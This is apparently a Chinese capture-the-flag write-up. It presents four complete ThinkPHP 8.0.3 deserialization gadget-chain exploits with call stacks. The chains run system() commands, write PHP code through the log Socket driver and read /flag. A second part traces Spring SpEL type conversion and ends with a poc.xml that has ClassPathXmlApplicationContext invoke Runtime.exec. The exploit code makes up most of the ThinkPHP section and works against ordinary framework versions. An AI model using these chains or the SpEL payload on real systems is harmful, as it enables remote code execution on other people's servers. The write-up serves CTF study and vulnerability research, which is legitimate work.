web

thinkphp

tp8.0.3反序列化链挖掘,,整理了一下,一总共发现了4条链子,3个sink点。

1

调用栈 image.png

exp如下

<?php
namespace think\route{
    class Route{
 
    }
    class ResourceRegister {
        public function __construct()
        {
            $this->registered = false;
            $this->resource = new \think\model\relation\HasMany();
        }
    }
}
 
namespace think\model {
    class Pivot{
        private $data = ["1"=>["="=>"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"]];
        private $withAttr = ["1"=>["="=>"system"]];
        protected $jsonAssoc = true;
        private $get = ["2"=>"2"];
        protected $json = ["1"=>"1"];
        protected $pk = 'id';
        public array $parent = array();
 
    }
}
namespace think\model\relation{
    class HasMany{
 
        protected $localKey;
        protected $parent;
 
        public function __construct()
        {
 
            $this->query = true;
            $this->parent = new \think\model\Pivot();
            $this->foreignKey = "1";
            $this->localKey = "1";
        }
    }
}
 
namespace {
    $pop = new think\route\ResourceRegister();
    $pop = serialize($pop);
    $pop = urlencode(base64_encode($pop));
 
    echo $pop;
}

sink点

image.png

2

调用栈

Socket.php:101, think\log\driver\Socket->save()
Channel.php:137, think\log\Channel->save()
Channel.php:96, think\log\Channel->record()
Channel.php:156, think\log\Channel->log()
Channel.php:161, think\log\Channel->__call()
MorphMany.php:390, think\log\Channel->where()
MorphMany.php:390, think\model\relation\MorphMany->baseQuery()
Relation.php:243, think\model\Relation->__call()
ResourceRegister.php:51, think\model\Relation->getRule()
ResourceRegister.php:51, think\route\ResourceRegister->register()
ResourceRegister.php:70, think\route\ResourceRegister->__destruct()
Xctf.php:11, unserialize()
Xctf.php:11, app\controller\Xctf->hecker()

exp

<?php
namespace think\Log{
 
    use think\Log;
 
    class ChannelSet{
 
        public function __construct(  $log,   $channels)
        {
            $this->log = new Log($log);
            $this->channels = $channels;
        }
 
    }
}
namespace League\Flysystem\Cached\Storage{
 
    class Psr6Cache{
        private $pool;
        protected $autosave = false;
        public function __construct($exp)
        {
            $this->pool = $exp;
        }
    }
}
namespace Psr\Log {
    interface LoggerInterface
    {
        public function log($level, $message, array $context = array());
    }
}
 
namespace think\log{
    use Psr\Log\LoggerInterface;
    use think\contract\LogHandlerInterface;
    use think\Event;
 
    class Channel  {
        protected $logger;
        protected $lazy;
 
        public function __construct($exp)
        {
            $this->event= new \think\Event();
            $this->logger = $exp;
            $this->name= "12312";
            $this->lazy = false;
        }
 
    }
}
 
namespace think{
    class Request{
        protected $url;
        public function __construct()
        {
            $this->url = '<?php system("open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"); exit(); ?>';
        }
    }
    class App{
        protected $instances = [];
        public function __construct()
        {
            $this->instances = ['think\Request'=>new Request()];
        }
    }
    class Event
    {
        protected $app;
 
        public function __construct()
        {
//            $this->app = $app;
        }
    }
}
 
namespace think\view\driver{
    class Php{}
}
 
namespace think\log\driver{
 
    class Socket{
        protected $config = [];
        protected $app;
        protected $clientArg = [];
 
        public function __construct()
        {
 
            $this->config = [
                'debug'=>true,
                'force_client_ids' => 1,
                'allow_client_ids' => '',
                'format_head' => [new \think\view\driver\Php,'display'], # 利用类和方法
            ];
            $this->app = new \think\App();
            $this->clientArg = ['tabid'=>'1'];
        }
    }
}
 
namespace think\route{
    class Route{
 
    }
    class ResourceRegister {
        public function __construct()
        {
            $this->registered = false;
            $this->resource = new \think\model\relation\MorphMany();
        }
    }
}
 
namespace think\model {
    class Pivot{
        private $data = ["1"];
        protected $pk = 'id';
        public array $parent = array();
 
    }
}
 
namespace think\model\relation{
    use think\log\driver\Socket;
    use think\log\Channel;
    use think\log\ChannelSet;
 
    class MorphMany
    {
        protected $query;
        protected $baseQuery;
        protected $parent;
        protected $localKey;
        private $data = ["1"];
        public function __construct(){
            $this->foreignKey = "1";
            $this->localKey = "parent";
            $c = new Socket();
            $b = new Channel($c);
            $this->query = $b;
            $this->parent = new \think\model\Pivot();
 
        }
    }
}
 
 
namespace {
 
    $pop = new think\route\ResourceRegister();
    $pop = serialize($pop);
    $pop = urlencode(base64_encode($pop));
 
    echo $pop;
}

sink点 image.png

3

Socket.php:101, think\log\driver\Socket->save()
Channel.php:137, think\log\Channel->save()
Channel.php:96, think\log\Channel->record()
Channel.php:156, think\log\Channel->log()
Channel.php:161, think\log\Channel->__call()
Conversion.php:302, think\log\Channel->append()
Conversion.php:302, think\Model->appendAttrToArray()
Conversion.php:252, think\Model->toArray()
Conversion.php:366, think\Model->toJson()
Conversion.php:371, think\Model->__toString()
Resource.php:118, think\route\Resource->parseGroupRule()
ResourceRegister.php:51, think\route\ResourceRegister->register()
ResourceRegister.php:70, think\route\ResourceRegister->__destruct()
Xctf.php:11, app\controller\Xctf->hecker()

exp如下

<?php
namespace think\log{
    use Psr\Log\LoggerInterface;
    use think\contract\LogHandlerInterface;
    use think\Event;
 
    class Channel  {
        protected $logger;
        protected $lazy;
 
        public function __construct($exp)
        {
            $this->event= new \think\Event();
            $this->logger = $exp;
            $this->name= "12312";
            $this->lazy = false;
        }
 
    }
}
 
namespace think{
    class Route{
 
        protected $group;
        public function __construct($group)
        {
 
            $this->group = $group;
        }
    }
    class Request{
        protected $url;
        public function __construct()
        {
            $this->url = '<?php system("open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"); exit(); ?>';
        }
    }
    class App{
        protected $instances = [];
        public function __construct()
        {
            $this->instances = ['think\Request'=>new Request()];
        }
    }
    class Event
    {
        protected $listener = [];
        protected $bind = [
            'AppInit'     => event\AppInit::class,
            'HttpRun'     => event\HttpRun::class,
            'HttpEnd'     => event\HttpEnd::class,
            'RouteLoaded' => event\RouteLoaded::class,
            'LogWrite'    => event\LogWrite::class,
            'LogRecord'   => event\LogRecord::class,
        ];
        protected $app;
        public function __construct()
        {
//            $this->app = $app;
        }
    }
    abstract class Model {
        protected static $db;
 
    }
 
}
namespace think\model {
    class Pivot{
        public array $parent = array();
        protected $visible = [];
        protected $hidden = [];
        protected $append = [];
        private $relation = [];
        public function __construct($relation, $append,$hidden = [],$visible = [])
        {
            $this->relation["exp"] = $relation;
            $this->append = $append;
            $this->hidden = $hidden;
            $this->visible = $visible;
        }
    }
}
namespace think\view\driver{
    class Php{}
}
 
namespace think\log\driver{
 
    class Socket{
        protected $config = [];
        protected $app;
        protected $clientArg = [];
 
        public function __construct()
        {
 
            $this->config = [
                'debug'=>true,
                'force_client_ids' => 1,
                'allow_client_ids' => '',
                'format_head' => [new \think\view\driver\Php,'display'], # 利用类和方法
            ];
            $this->app = new \think\App();
            $this->clientArg = ['tabid'=>'1'];
        }
    }
}
 
namespace think\route{
    class ResourceRegister{
        public function __construct($resource)
        {
            $this->resource = $resource;
        }
    }
 
    class Resource extends Rule
    {
        public $rest = [];
        protected $model = [];
        protected $validate = [];
        protected $middleware = [];
 
        public function __construct( $router,  $parent = null, string $name = '',  $route = '', array $rest = [])
        {
            $name = ltrim($name, '/');
            $this->router = $router;
            $this->parent = $parent;
            $this->rule = $name;
            $this->route = $route;
            $this->name = "123123";
 
            // 资源路由默认为完整匹配
            $this->option['complete_match'] = true;
 
            $this->rest = $rest;
 
        }
    }
    abstract class Rule
    {
        protected $name;
 
    }
}
 
namespace{
    $c = new think\log\driver\Socket();
    $b = new think\log\Channel($c);
    $Pivot = new think\model\Pivot($b,["exp"=>["0"=>"123123"]],["123123"=>["123123"]],["123123"=>["123123"]]);
    $name = 'resourceName';
    $rest = [
        'create' => ['GET', '/create', 'create'],
        'store'  => ['POST', '/', 'store'],
        'show'   => ['GET', '/<id>', 'show'],
 
    ];
    $router = new think\Route($b);
    $resource = new think\route\Resource( $router,  "", $name, $Pivot, $rest);
    $a = new think\route\ResourceRegister($resource);
 
    echo urlencode(base64_encode(serialize($a)));
}

sink点 image.png

4

这是比赛白神打的。

Validate.php:836, think\Validate->think\{closure:/Users/kkfine/Sites/localhost/vendor/topthink/framework/src/think/Validate.php:833-849}()
Validate.php:864, think\Validate->is()
Validate.php:1700, call_user_func_array:{/Users/kkfine/Sites/localhost/vendor/topthink/framework/src/think/Validate.php:1700}()
Validate.php:1700, think\Validate->__call()
HasMany.php:372, think\Validate->where()
HasMany.php:372, think\model\relation\HasMany->baseQuery()
Relation.php:243, think\model\Relation->__call()
ResourceRegister.php:51, think\model\Relation->getRule()
ResourceRegister.php:51, think\route\ResourceRegister->register()
ResourceRegister.php:70, think\route\ResourceRegister->__destruct()
Xctf.php:11, app\controller\Xctf->hecker()

exp 如下

<?php
 
namespace think {
    class Validate {
        protected $type = [];
        public function __construct()
        {
            $this->type =  [
                "=" => "system"
            ];
        }
    }
}
namespace think\model {
    class Pivot{
        public $parent = []; 
    }
}
 
namespace think\model\relation{
    class HasMany{
        
        protected $localKey;
        protected $parent;
 
        public function __construct()
        {
            $this->query = new \think\Validate();
            $this->parent = new \think\model\Pivot();
            $this->foreignKey = "cat /flag";
            $this->localKey = "parent";
        }
    }
    
}
 
namespace think\route {
 
    class ResourceRegister {
        public function __construct()
        {
            $this->registered = false;
            $this->resource = new \think\model\relation\HasMany();
        }
    }
 
}
 
 
namespace {
 
    $pop = new think\route\ResourceRegister();
    $pop = serialize($pop);
    $pop = urlencode(base64_encode($pop));
 
    echo $pop;
}

sink点 image.png

java

考点是spel中的类型转换,官方解释如下,给了一个例子,很简单就是在赋值的时候spel自动的把”false”字符串转换成了bool类型的false,先来调试看看怎么转换的吧。

image.png

解析的逻辑从doParseExpression开始,首先会进行Tokenizer的初始化 image.png

Tokenizer 类的作用是将输入的数据(表达式)解析成一个标记(token)流。

1. 定义替代操作符名称
• ALTERNATIVE_OPERATOR_NAMES:包含替代操作符的名称列表,这些名称需要与 TokenKind 枚举常量名匹配。例如,DIV 对应除法操作符,EQ 对应等于操作符等。
2. 字符标志
• FLAGS:一个字节数组,用来标记字符的属性。例如,标记哪些字符是数字、哪些是十六进制数字。
• IS_DIGIT 和 IS_HEXDIGIT:用来标识数字和十六进制数字的标志位。
• 静态代码块初始化这些标志位,将数字字符和十六进制字符的相应位置设为相应的标志位。
3. 类成员变量
• expressionString:保存输入的表达式字符串。
• charsToProcess:将输入的表达式字符串转换为字符数组,并在末尾添加一个空字符(\0)。
• pos:当前处理的字符位置。
• max:字符数组的长度。
• tokens:用于存储生成的标记列表。

调用process函数将输入的表达式字符串逐字符地解析为标记(token)列表,跟进去其实就是if-else,最后会将spel表达式分成几个部分 image.png

这里最终的结果就是4个部分,我们的原始表达式是booleanList[0]image.png

然后在eatExpression()函数中开始构造ast树,从注释中可以看到在这一层,程序默认传过来的表达式只有这几种结构:

赋值操作 (ASSIGN)     a = 5  // 结果是 a 现在为 5
默认值操作 (DEFAULT)  a > 5 ? 'greater' : 'less or equal' 
三元操作 (QMARK).     b ?: 'default'  
Elvis 操作 (ELVIS).  a > 5 ? 'greater' : 'less or equal' 

image.png

直接跟到最里面的一层eatPrimaryExpression函数,即解析最基础的表达式部分,

eatPrimaryExpression:369, InternalSpelExpressionParser (org.springframework.expression.spel.standard)
eatUnaryExpression:363, InternalSpelExpressionParser (org.springframework.expression.spel.standard)
eatPowerIncDecExpression:317, InternalSpelExpressionParser (org.springframework.expression.spel.standard)
eatProductExpression:296, InternalSpelExpressionParser (org.springframework.expression.spel.standard)
eatSumExpression:278, InternalSpelExpressionParser (org.springframework.expression.spel.standard)
eatRelationalExpression:233, InternalSpelExpressionParser (org.springframework.expression.spel.standard)
eatLogicalAndExpression:220, InternalSpelExpressionParser (org.springframework.expression.spel.standard)
eatLogicalOrExpression:207, InternalSpelExpressionParser (org.springframework.expression.spel.standard)
eatExpression:168, InternalSpelExpressionParser (org.springframework.expression.spel.standard)
doParseExpression:138, InternalSpelExpressionParser (org.springframework.expression.spel.standard)
doParseExpression:63, SpelExpressionParser (org.springframework.expression.spel.standard)
doParseExpression:34, SpelExpressionParser (org.springframework.expression.spel.standard)
parseExpression:56, TemplateAwareExpressionParser (org.springframework.expression.common)
parseExpression:45, TemplateAwareExpressionParser (org.springframework.expression.common)
main:22, test2 (com.ctf.ezspel)

chatgpt解释一下吧

1.eatExpression: 这是解析器中的最顶层方法,负责解析整个表达式。它会调用其他方法来解析不同层次和类型的子表达式。
2.eatLogicalOrExpression: 解析逻辑或表达式,它调用 eatLogicalAndExpression 方法来解析逻辑与表达式,并在需要时处理 OR 运算符。
3.eatLogicalAndExpression: 解析逻辑与表达式,它调用 eatRelationalExpression 方法来解析关系表达式,并在需要时处理 AND 运算符。
4.eatRelationalExpression: 解析关系表达式,它调用 eatSumExpression 方法来解析求和表达式,并根据操作符来处理不同的比较操作。
5.eatSumExpression: 解析求和表达式,它调用 eatProductExpression 方法来解析乘积表达式,并处理加法和减法运算符。
6.eatProductExpression: 解析乘积表达式,它调用 eatPowerIncDecExpression 方法来解析幂运算和自增自减表达式,并处理乘法、除法和取模运算符。
7.eatPowerIncDecExpression: 解析幂运算和自增自减表达式,它调用 eatUnaryExpression 方法来解析一元表达式,并处理幂运算符 POWER,以及自增自减操作符 INC 和 DEC。
8.eatUnaryExpression: 解析一元表达式,它可以处理正负号、逻辑非等操作符,或者直接调用 eatPrimaryExpression 方法来解析基本表达式。
9.eatPrimaryExpression: 解析基本表达式,它是解析器中的最底层方法之一,负责解析最基本的表达式单元,如字面量、括号表达式、类型引用等。

直接跟进eatPrimaryExpression函数 image.png

在eatPrimaryExpression函数,首先会调用eatStartNode用于解析一个起始节点,起始节点可以是各种不同类型的节点,如文字、括号表达式、类型引用、方法或属性等,所以在这个函数中也是经典if-else,我们这里是一个属性的赋值,所以在maybeEatMethodOrProperty被解析成功。 image.png image.png

然后调用eatNode函数,首先会判断不同的访问对象或者属性的方式,例如person.name等是点访问节点(dotted node),array[0] 访问数组或者map[‘key’] 访问映射则是非点访问节点(Non-Dotted Node) image.png

booleanList[0]当然是NonDotted,所以调用eatNonDottedNode函数,先判断标记流当前位置的字符是不是左括号,然后解析调用maybeEatIndexer函数 image.png

maybeEatIndexer函数就是解析括号中得值,最后将解析到的索引操作节点(Indexer)推入节点栈中。 image.png

最终解析完的节点包括两个,一个是属性引用节点,一个是索引节点 image.png

然后会调用setvalue进行赋值, image.png

最终会在Indexer.setValue利用this.typeConverter.convertValue()进行类型转换 image.png

在convertValue中可以看到conversionService支持非常多的类型转换,这里利用到了从string到boolean的converter。 image.png

在Converter中调用getConverter去寻找对应的转换器,然后调用对应的转换器里面的convert函数出进行转换。 image.png

在这个官方例子中,最终就会在StringToBooleanConverter中调用convert函数将string转换成boolean,这里具体的操作是会通过判断trueValuesfalseValues是否含有要进行赋值的字符串,如果有则返回相应的boolean的TRUE或者FALSE。 image.png

所以回到题目的写法,其实这样parser.parseExpression("booleanList[0]").setValue(simpleContext, "no");去执行,也是能够将booleanList[0]的值改成bool类型的false。

public class test {
    public static void main(String[] args) {
        class Simple {
            public List<Boolean> booleanList = new ArrayList<Boolean>();
        }
 
        Simple simple = new Simple();
        simple.booleanList.add(true);
        Boolean b1 = simple.booleanList.get(0);
        System.out.println(b1);
 
        SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
        SpelExpressionParser parser = new SpelExpressionParser();
        Expression expression = parser.parseExpression("booleanList[0]='no'");
        Object obj =  expression.getValue(context, simple);
        System.out.println(obj.getClass().getName());
 
        Boolean b = simple.booleanList.get(0);
        System.out.println(b);
    }
}

回到题目,这里可以控制root根对象,然后在这个上下文执行spel表达式,所以肯定是需要根一对象进行转换,利用#this肯定获取的是跟对象了,当执行#this[0]=123时会发生类型转换报错 image.png 明显这里发生了类型转换,调试一下这个name=java.net.URL&expr=#this[0]="123",先获取到对应的Converter转换器,这里从String到URL类,获取到了ObjectToObjectConverter转换器, image.png

不过很奇怪的是从Integer到URL类什么也获取不到,String和Integer按理说都是Object对象类。 image.png

最终则会直接到ObjectToObjectConverter.convert函数,这里直接实例化java.net.URL类了,并且将12312当作构造函数参数传入。 image.png

所以最终需要找到一个类实例化就能rce,最近出场率很高的ClassPathXmlApplicationContext完美符合。后续也找了找别的类未果。 image.png

poc.xml

<?xml version="1.0" encoding="utf-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
   <bean id="runtime" class="java.lang.Runtime" factory-method="getRuntime" />
   <bean id="process" factory-bean="runtime" factory-method="exec">
       <constructor-arg value="open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator" />
   </bean>
</beans>